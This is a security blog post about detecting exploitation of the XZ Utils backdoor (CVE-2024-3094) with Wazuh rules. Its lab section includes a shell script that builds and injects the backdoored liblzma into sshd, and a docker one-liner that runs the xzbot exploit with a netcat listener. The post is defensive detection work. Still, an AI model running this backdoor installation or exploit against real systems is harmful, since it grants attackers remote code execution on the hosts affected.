Detecting exploitation of XZ Utils vulnerability (CVE-2024-3094) with Wazuh

| by | Wazuh 4.7.4
Post icon

In March 2024, a backdoor was detected within XZ Utils, earning the designation CVE-2024-3094. The vulnerability has a CVSS score of 10, indicating its potential for critical impact if exploited. The vulnerability affects XZ versions 5.6.0 and 5.6.1 and presents a serious threat to endpoints that run Unix-like operating systems. 

Previously, we detailed how to identify these vulnerable packages in our blog post titled Detecting XZ Utils vulnerability (CVE-2024-3094) with Wazuh. Our proactive approach involved enabling the Wazuh Vulnerability detector module to scan monitored endpoints for susceptible versions of XZ Utils. This strategy facilitates swift detection and patching of vulnerabilities, mitigating the risk of exploitation.

In addition to detecting vulnerable packages, it’s important to detect potential attacks seeking to exploit the XZ Utils vulnerability. As highlighted in our earlier post, CVE-2024-3094 could enable unauthorized remote code execution (RCE) via SSH. Proof of concept (PoC) projects available online demonstrate how to exploit this vulnerability. One notable PoC repository is amlweems/xzbot, which allows users to set up honeypots and vulnerable servers, and execute exploits.

In this blog post, we aim to detect the exploitation of CVE-2024-3094 via SSH with Wazuh. Our approach involves understanding the indicators of compromise (IoCs) or behavioral patterns exhibited by endpoints when this vulnerability is exploited. With our understanding of the IoCs, we can then develop effective detection logic within Wazuh.

Indicators of Compromise (IoCs)

Remote code execution vulnerabilities grant threat actors the ability to execute commands upon gaining unauthorized access. In the case of CVE-2024-3094 exploitation, each command execution initiates a new process. Commands executed via the SSH service are expected to initiate as child processes, grandchild processes, or further descendants of the SSH server process (sshd).

To identify exploitation attempts, we first understand the characteristics of legitimate sshd processes. Subsequently, we analyze the patterns exhibited by processes spawned by exploiting the CVE-2024-3094 vulnerability. This analysis enables us to identify anomalous behavior indicative of potential compromise.

Benign sshd child processes

Below, we show a process tree of benign descendant processes created by sshd with process ID 35784.

# ps -ef --forest
UID          PID    PPID  C STIME TTY          TIME CMD
...
root       35784    1862  0 17:48 pts/1    00:00:00  \_ sshd: /usr/sbin/sshd -
root       35865   35784  0 17:51 ?        00:00:00      \_ sshd: user1 [priv]
user1      35869   35865  0 17:52 ?        00:00:00      |   \_ sshd: user1@pts/3
user1      35870   35869  0 17:52 pts/3    00:00:00      |       \_ -bash
user1      35972   35870  0 17:52 pts/3    00:00:00      |           \_ sleep 120
root       35933   35784  1 17:52 ?        00:00:00      \_ sshd: user1 [priv]
user1      35945   35933  0 17:52 ?        00:00:00          \_ sshd: user1@pts/4
user1      35946   35945  0 17:52 pts/4    00:00:00              \_ -bash
user1      35987   35946  0 17:52 pts/4    00:00:00                  \_ ps -ef --forest

The output in the above example shows two open SSH sessions, including:

  • Process ID 35869 logged in by user1 and connected to the pts/3 pseudo-terminal.
  • Process ID 35945 is also logged in by user1 and connected to the pts/4 pseudo-terminal.

In summary, the benign SSH child processes are associated with sshd pseudo-terminals, and a shell session (Bash, Sh, etc.) is usually created as a child process of the pseudo-terminal for user interaction and session management.

Suspicious sshd child processes

To analyze a known malicious sshd child process, we exploit the CVE-2024-3094 vulnerability via SSH using amlweems/xzbot. The following is an example of the process tree when we exploit the vulnerability to execute the sleep 120 command:

# ps -ef --forest
UID          PID    PPID  C STIME TTY          TIME CMD
...
root       35784    1862  0 17:48 pts/1    00:00:00  \_ sshd: /usr/sbin/sshd -
root       36184   35784  2 18:02 ?        00:00:00      \_ sshd: root [priv]
sshd       36185   36184  0 18:02 ?        00:00:00          \_ sshd: root [net]
root       36186   36184  0 18:02 ?        00:00:00          \_ sleep 120

Notice that sleep 120 is a child process of sshd (process ID 36184) and is neither associated with a pseudo-terminal nor a shell session as seen in benign processes. 

In summary, a process like sleep 120 which is a child of an sshd process but not associated with an sshd pseudo-terminal or shell session is suspicious.

Additionally, threat actors may run commands via shell interpreters such as sh or Bash.

# ps -ef --forest
UID          PID    PPID  C STIME TTY          TIME CMD
...
root       35784    1862  0 17:48 pts/1    00:00:00  \_ sshd: /usr/sbin/sshd -
root       37112   35784  2 18:12 ?        00:00:00      \_ sshd: root [priv]
sshd       37185   37112  0 18:12 ?        00:00:00          \_ sshd: root [net]
root       37186   37112  0 18:12 ?        00:00:00          \_ sh -c sleep 120
root       36187   37186  0 18:12 ?        00:00:00              \_ sleep 120

According to our established logic, this is also suspicious because it is not associated with a parent sshd pseudo-terminal.

Configure Wazuh to detect exploitation

We use the Wazuh Logcollector module to collect and forward logs about running processes from monitored endpoints to the Wazuh server for analysis. This module executes predefined commands on monitored endpoints and processes the command output like regular log data. To specifically target and identify potential exploitation of CVE-2024-3094, we configure the Wazuh Logcollector module to execute the ps command on each monitored endpoint at a predefined time interval.

Requirements

  • A deployment of the Wazuh 4.7.4 central components (Wazuh server, Wazuh indexer, and Wazuh dashboard). Follow the Virtual Machine (OVA) – Installation guide to download and set up the Wazuh virtual machine.
  • Install the Wazuh agent on your Linux endpoints. To simulate the attack and test the detection logic created in this blog post, we use a Fedora 40 endpoint as the victim endpoint.
  • An Ubuntu 22 endpoint with Docker installed. This endpoint is the launch pad for attacks against the Fedora endpoint during the simulation.

Wazuh agent configuration

Perform the following actions on your Linux endpoint to use the Wazuh Logcollector module to identify suspicious sshd descendant processes. You need to add the configuration to the Fedora 40 victim endpoint for the simulation.

1. Add the following configuration to the /var/ossec/etc/ossec.conf file on the monitored Linux endpoint to execute the commands within the <command> tag:

<ossec_config>

  <localfile>
    <log_format>full_command</log_format>
    <command>ps -ef | grep -w 'sshd' | grep -v pts | awk '{print $2}' | while read pid; do ps --ppid $pid -f; done | grep -v '^UID' | grep -v -E 'sshd: \S+@pts/[0-9]+|sshd: \S+ \[\S+\]'</command>
    <alias>sshd_child_processes</alias>
    <frequency>60</frequency>
  </localfile>

</ossec_config>

The configured <command> shows a list of sshd descendant processes that are not associated with pseudo-terminals.

The <frequency> tag configures the Wazuh agent to execute the pre-defined command every 60 seconds. You can configure it to run at intervals of your choice.

The <alias> adds the string sshd_child_processes to the generated log data. This is useful for more efficient rule matching.

2. Restart the Wazuh agent to apply the changes:

# systemctl restart wazuh-agent

Wazuh server configuration

Perform the following steps to configure the Wazuh server to trigger alerts when suspicious processes are detected:

1. Add the following rule to the /var/ossec/etc/rules/local_rules.xml file on the Wazuh server:

<group name="sshd_child_process_monitor,">

  <rule id="100010" level="12" ignore="60">
    <if_sid>530</if_sid>
    <match>^ossec: output: 'sshd_child_processes'</match>
    <regex type="pcre2">\S+\s+\d+\s+\d+\s+\d+\s+\S+\s+\S+\s+\S+\s+(?!sshd:|unix_chkpwd)</regex>
    <description>sshd started a suspicious child process. Potential CVE-2024-3094 vulnerability exploited.</description>
    <mitre>
      <id>T1210</id>
      <id>T1190</id>
      <id>T1195</id>
    </mitre>
  </rule>

</group>

The rule matches events generated by the Wazuh Logcollector module containing the string sshd_child_processes.

2. Restart the Wazuh manager to apply the rule:

# systemctl restart wazuh-manager

Simulate an attack

In this section, we make the Fedora endpoint vulnerable to CVE-2024-3094 and then use the Ubuntu endpoint to exploit the vulnerability.

Make the Fedora 40 endpoint vulnerable

1. Save the following script as weaken_fedora.sh in the /root directory of your Fedora test endpoint.

#!/bin/bash

# Install dependencies
dnf -y groupinstall "Development Tools"
dnf -y install systemd xz git openssh-server openssl-devel openssl python3-pip go automake autoconf netcat
pip3 install virtualenv pwntools

# Download vulnerable XZ package
cd ~
git clone https://github.com/awwalquan/xz-archive.git
cd xz-archive/5.6/ 
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~

export RPM_ARCH=$(uname -m)
cd ~

# Replace the content of line 25655 in ./xz-5.6.0/configure to save output to script1.sh
sed -i '/"build-to-host":C) eval $gl_config_gt | $SHELL 2>\/dev\/null ;;/c\    "build-to-host":C)eval $gl_config_gt > script1.sh ;;' ./xz-5.6.0/configure

# Prepare the project for compilation
cd ./xz-5.6.0/
./configure
chmod +x script1.sh
./script1.sh

# Compile the project
make
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~

# Patch the backdoor into liblzma
cd ~
git clone https://github.com/awwalquan/xzbot.git
python3 ./xzbot/patch.py liblzma.so.5.6.0

# Inject the malicious library in the ssh deomon
cp liblzma.so.5.6.0.patch /lib64/
cd /lib64/
ls -altr | grep liblzma
ln -fs liblzma.so.5.6.0.patch liblzma.so
ln -fs liblzma.so.5.6.0.patch liblzma.so.5
ls -altr | grep liblzma

# Start the vulnerable sshd
ssh-keygen -A
env -i LANG=C /usr/sbin/sshd -D &

2. Make the script executable and run it with root privileges to make the Fedora endpoint vulnerable to CVE-2024-3094 and make the SSH service exploitable:

# cd /root
# chmod +x /root/weaken_fedora.sh
# /root/weaken_fedora.sh

Launch the attack from the Ubuntu endpoint

Run the following command on the Ubuntu endpoint to exploit the vulnerability:

# docker run -it --rm golang:latest /bin/bash -c "mkdir -p /xzbot && pushd /xzbot/ && git clone https://github.com/awwalquan/xzbot.git && ls -laF && pushd ./xzbot/ && go build -o /xzbot/tmp/; popd && /xzbot/tmp/xzbot -h && /xzbot/tmp/xzbot -addr <FEDORA_ENDPOINT>:22 -cmd 'nc -lv 1234'"

Replace <FEDORA_ENDPOINT> with the IP address of your Fedora endpoint. The -cmd parameter contains the command we wish to execute on the victim endpoint. In this case, we use Netcat to open a reverse shell listening on port 1234 on the Fedora endpoint.

The following alerts appear on the Wazuh dashboard when we exploit the vulnerability.

XZ Utils vulnerability

We have two relevant alerts in the image.

  • The alert with rule ID 533 is triggered based on an in-built Wazuh rule that detects when new network ports are opened on an endpoint. The simulated attack opened a reverse shell on port 1234, hence the alert.
  • The second alert from rule ID 100010 is based on the custom rule we created to detect when sshd spawns a suspicious child process.

You can click on the alert from rule 100010 to expand it and view the full log that triggered it.

XZ Utils security events

Conclusion

Detecting and mitigating vulnerabilities such as CVE-2024-3094 within XZ Utils are crucial steps in safeguarding endpoints against potential exploitation. By proactively identifying vulnerable packages and understanding indicators of compromise (IoCs), organizations can effectively detect and respond to exploitation attempts.

By configuring Wazuh to monitor and analyze SSH processes for anomalous activities, such as the spawning of suspicious child processes, organizations can swiftly detect and respond to potential exploitation attempts.

In summary, combining proactive vulnerability management and continuous monitoring enables organizations to enhance their overall cybersecurity posture.

References